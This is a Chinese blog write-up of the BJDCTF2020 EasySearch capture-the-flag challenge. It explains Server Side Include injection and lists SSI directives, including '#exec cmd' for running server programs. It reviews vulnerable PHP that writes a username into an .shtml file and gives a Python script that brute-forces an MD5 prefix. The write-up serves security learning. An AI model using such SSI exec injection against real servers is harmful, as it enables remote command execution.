SSI漏洞之[BJDCTF2020]EasySearch1-CSDN博客

本文链接：https://blog.csdn.net/qq_58970968/article/details/126396210

本文详细介绍了SSI（Server Side Include）注入漏洞的概念、挖掘思路以及利用方法，包括显示服务器环境变量、文件包含、执行服务器程序等功能。通过代码审计示例，揭示了如何利用SSI漏洞，并提供了Python代码来构造payload进行攻击。同时，还展示了如何利用SSI注入获取服务器文件目录及读取特定文件内容。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

知识点：

ssi漏洞参考：SSI注入漏洞_Hydra.的博客-CSDN博客_ssi注入

，在SHTML文件中使用SSI指令引用其他的html文件（#include），此时服务器会将SHTML中包含的SSI指令解释，再传送给客户端，此时的HTML中就不再有SSI指令了。

SSI挖掘思路

从业务场景来Fuzz，比如获取IP、定位、时间等
识别页面是否包含.stm,.shtm和.shtml后缀

①显示服务器端环境变量<#echo>

本文档名称：

<!–#echo var="DOCUMENT_NAME"–>

现在时间：

<!–#echo var="DATE_LOCAL"–>

显示IP地址：

<! #echo var="REMOTE_ADDR"–>

②将文本内容直接插入到文档中<#include>

<! #include file="文件名称"–>

<! #include virtual="文件名称"–>

注：file包含文件可以在同一级目录或其子目录中，但不能在上一级目录中，virtual包含文件可以是Web站点上的虚拟目录的完整路径

③显示WEB文档相关信息<#flastmod><#fsize>(如文件制作日期/大小等)

文件最近更新日期：

<! #flastmod file="文件名称"–>

文件的长度：

<!–#fsize file="文件名称"–>

④直接执行服务器上的各种程序<#exec>(如CGI或其他可执行程序)

<!–#exec cmd="文件名称"–>

<!–#exec cgi="文件名称"–>

<!--#exec cgi="/cgi-bin/access_log.cgi"–>

将某一外部程序的输出插入到页面中。可插入CGI程序或者是常规应用程序的输入，这取决于使用的参数是cmd还是cgi。

⑤设置SSI信息显示格式<#config>(如文件制作日期/大小显示方式)

⑥高级SSI可设置变量使用if条件语句。

列题：

这代码审计。

扫描得源代码

代码审计

<?php
	ob_start();

function get_hash(){
	$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
	$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times 
 //mt_rand（min,max）  生成随机数
	$content = uniqid().$random;   
	//生成唯一ID
	return sha1($content); 
}

header("Content-Type: text/html;charset=utf-8"); 
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
    $admin = '6d0bc1';
    if ( $admin == substr(md5($_POST['password']),0,6)) { 
     //是请求参数password的MD5前六位等于6d0bc1，就得到解
        echo "<script>alert('[+] Welcome to manage system')</script>";
        $file_shtml = "public/".get_hash().".shtml";
        $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
        $text = '
        ***
        ***
        <h1>Hello,'.$_POST['username'].'</h1>
        ***
		***';
        fwrite($shtml,$text);
        fclose($shtml);
        ***
		echo "[!] Header  error ...";
    } else {
        echo "<script>alert('[!] Failed')</script>";
        
}else
{
***
}
***
?>

get_hash()是个自定义函数，用来得到一个字符串，用作文件的名字。主函数是这样的：我们传入的$password的md5值需要满足前6个字符是6d0bc1，然后会得到一个字符串（暂定为s），会建立s.shtml文件，$text中含有我们传入的$username，并且会将$text的值写入s.shtml中，而这会导致SSI注入漏洞。

使用python跑出password

import hashlib
for i in range(10000000):
    pwd=str(i)
    pwd = hashlib.md5(bytes(pwd, encoding='utf-8'))
    ch=pwd.hexdigest()
    if ch[0:6]=='6d0bc1':
        print(ch,"-->",i)